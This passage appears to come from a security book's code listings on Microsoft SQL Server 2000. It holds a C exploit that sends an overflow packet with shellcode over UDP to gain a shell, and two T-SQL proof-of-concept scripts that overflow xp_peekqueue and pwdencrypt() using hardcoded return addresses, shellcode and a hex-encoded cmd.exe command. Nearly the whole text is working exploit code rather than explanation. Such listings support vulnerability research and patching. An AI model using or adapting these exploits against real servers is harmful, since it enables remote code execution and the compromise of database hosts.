    strcat(request,"\xDC\xC9\xB0\x42"); // 0x42B0C9DC

    // Need to do a near jump
    strcat(request,"\xEB\x0E\x41\x42\x43\x44\x45\x46");

    // Need to set an address which is writable or
    // sql server will crash before we can exploit
    // the overrun. Rather than choosing an address
    // on the stack which could be anywhere we'll
    // use an address in the .data segment of sqlsort.dll
    // as we're already using sqlsort for the saved
    // return address

    // SQL 2000 no service packs needs the address here
    strcat(request,"\x01\x70\xAE\x42");

    // SQL 2000 Service Pack 2 needs the address here
    strcat(request,"\x01\x70\xAE\x42");

    // just a few nops
    strcat(request,"\x90\x90\x90\x90\x90\x90\x90\x90");

    // tack on exploit code to the end of our request
    // and fire it off
    strcat(request,buffer);

    GainControlOfSQL();

    return 0;
}
```

```
int StartWinsock()
{

     int err=0;
     WORD wVersionRequested;
     WSADATA wsaData;

     wVersionRequested = MAKEWORD( 2, 0 );
     err = WSAStartup( wVersionRequested, &wsaData );
     if ( err != 0 )
          {
               return 0;
          }
     if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) !=
0 )
          {
                WSACleanup( );
                return 0;
          }

     if (isalpha(host[0]))
          {
               he = gethostbyname(host);
          }
     else
          {
               addr = inet_addr(host);
               he = gethostbyaddr((char *)&addr,4,AF_INET);
          }

     if (he == NULL)
          {
               return 0;
          }

     s_sa.sin_addr.s_addr=INADDR_ANY;
     s_sa.sin_family=AF_INET;
     memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
     return 1;
}


int GainControlOfSQL(void)
{

     SOCKET c_sock;
```

```
     char resp[600]="";
     char *ptr;
     char *foo;
     int snd=0,rcv=0,count=0, var=0;
     unsigned int ttlbytes=0;
     unsigned int to=2000;
     struct sockaddr_in        srv_addr,cli_addr;
     LPSERVENT            srv_info;
     LPHOSTENT            host_info;
     SOCKET            cli_sock;


cli_sock=socket(AF_INET,SOCK_DGRAM,0);
     if (cli_sock==INVALID_SOCKET)
          {
                    return printf(" sock error");
               }

     cli_addr.sin_family=AF_INET;
     cli_addr.sin_addr.s_addr=INADDR_ANY;
     cli_addr.sin_port=htons((unsigned short)53);

     setsockopt(cli_sock,SOL_SOCKET,SO_RCVTIMEO,(char *)&to,sizeof(unsigned
 int));
     if
bind(cli_sock,(LPSOCKADDR)&cli_addr,sizeof(cli_addr))==SOCKET_ERROR)
          {
                    return printf("bind error");
               }



     s_sa.sin_port=htons((unsigned short)SQLUDPPort);

     if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
          {
               return printf("Connect error");
          }



     else
          {
               snd=send(cli_sock, request , strlen (request) , 0);
               printf("Packet sent!\nIf you don't have a shell it didn't
work.");
               rcv = recv(cli_sock,resp,596,0);
               if(rcv > 1)
```

```
                    {
                         while(count < rcv)
                              {
                                   if(resp[count]==0x00)
                                        resp[count]=0x20;
                                   count++;
                              }
                         printf("%s",resp);
                    }
          }
     closesocket(cli_sock);
return 0;
}
```

Code Listing 2

This T-SQL script is a simple proof of concept buffer overflow exploit for the buffer overflow in xp_peekqueue in SQL Server with no service packs.

```
-- NGSSoftware
--
-- xp_peekqueue buffer overflow exploit script for NGSSQuirreL
--
-- Copyright(c) NGSSoftware Ltd
--
-- David Litchfield
-- (david@ngssoftware.com)
-- 19th July 2002

declare @query varchar(4000)
declare @end_query varchar(500)
declare @short_jump varchar(8)
declare @sra varchar(8)
declare @call_eax varchar(4)
declare @WinExec varchar(8)
declare @mov varchar(4)
declare @ExitThread varchar(8)
declare @exploit_code varchar(200)

declare @command varchar(300)

declare @msver nvarchar (200)
declare @ver int
declare @sp nvarchar (20)
```

```
select @command =
0x636D642E657865202F6320646972203E20633A5C707764656E63727970742E74787
420260000


select @sp = N'Service Pack '
select @msver = @@version
select @ver = ascii(substring(reverse(@msver),3,1))

if @ver = 53
     print @sp + char(@ver) -- Windows 2000 SP5 For when it comes out.
else if @ver = 52
     print @sp + char(@ver) -- Windows 2000 SP4 For when it comes out.
else if @ver = 51
     print @sp + char(@ver) -- Windows 2000 SP3 For when it comes out.

else if @ver = 50  -- Windows 2000 Service Pack 2
     BEGIN
          print @sp + char(@ver)
          select @sra = 0x43E5E677
          select @WinExec = 0xAFA7E977
          select @ExitThread = 0xE275E877
     END

else if @ver = 49  -- Windows 2000 Service Pack 1
     BEGIN
          select @sra = 0x00000000   --need to get address
          select @WinExec = 0x00000000 --need to get address
          select @ExitThread = 0x00000000 --need to get address
     END

else       -- No Windows 2000 Service Pack
     BEGIN
          select @sra = 0x00000000  --need to get address
          select @WinExec = 0x00000000   --need to get address
          select @ExitThread = 0x00000000 --need to get address
     END



select @query = 'exec xp_peekqueue
''1111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111
```

```
1111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJ
JKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ'

select @end_query = ''',''a'',''a'''

select @short_jump = 0xEB0A9090
select @mov = 0xB8

select @exploit_code = 0x9090909090909090090558BEC33C0508D432A50B8
select @call_eax = 0xFFD0
select @query = @query + @short_jump + @sra + @exploit_code + @WinExec +
@call_eax + @mov + @ExitThread + @call_eax + @command + @end_query
exec (@query)
```

Code Listing 3

This is the code for a T-SQL script that demonstrates exploitation of the buffer overflow in the pwdencrypt() function. This code should work on SQL Server 2000 with any service pack.

NOTE

This was written prior to the patch becoming available from Microsoft, so this may not stand at the time you are reading this.

```
declare @msver nvarchar (200)
declare @ver int
declare @sp nvarchar (20)


declare @call_eax nvarchar(8)
declare @exploit nvarchar(2000)
declare @padding nvarchar(200)
declare @exploit_code nvarchar(1000)
declare @sra nvarchar(8)
declare @short_jump nvarchar(8)
declare @a_bit_more_pad nvarchar (16)
declare @WinExec nvarchar(16)
```

```
declare @command nvarchar(300)

select @command =
0x636D642E657865202F6320646972203E20633A5C707764656E63727970742E747874
00000000

select @sp = N'Service Pack '
select @msver = @@version
select @ver = ascii(substring(reverse(@msver),3,1))

if @ver = 53
     print @sp + char(@ver) -- Windows 2000 SP5 For when it comes out.
else if @ver = 52
     print @sp + char(@ver) -- Windows 2000 SP4 For when it comes out.
else if @ver = 51
     print @sp + char(@ver) -- Windows 2000 SP3 For when it comes out.

else if @ver = 50 -- Windows 2000 Service Pack 2
     BEGIN
          print @sp + char(@ver)
          select @sra = 0x2B49E277
          select @WinExec = 0xAFA7E977
     END

else if @ver = 49 -- Windows 2000 Service Pack 1
     BEGIN
          print @sp + char(@ver)
          select @sra = 0x00000000 -- Need to get address
          select @WinExec = 0x00000000 -- Need to get address

     END

else       -- No Windows 2000 Service Pack
     BEGIN
          print @sp + char(@ver)
          select @sra = 0x00000000 -- Need to get address
          select @WinExec = 0x00000000 -- Need to get address
     END

select @short_jump = 0xEB0A9090
select @padding =
N'NGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQuir
reLNGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQui
rreLNGSSQuirreL*'
select @a_bit_more_pad = 0x6000600060006000
select @exploit_code = 0x90558BEC33C0508D452450B8
```

```
select @call_eax = 0xFFD0FFD0

select @exploit = @padding + @sra + @short_jump + @a_bit_more_pad +
@exploit_code + @WinExec + @call_eax +@command

select pwdencrypt(@exploit)
```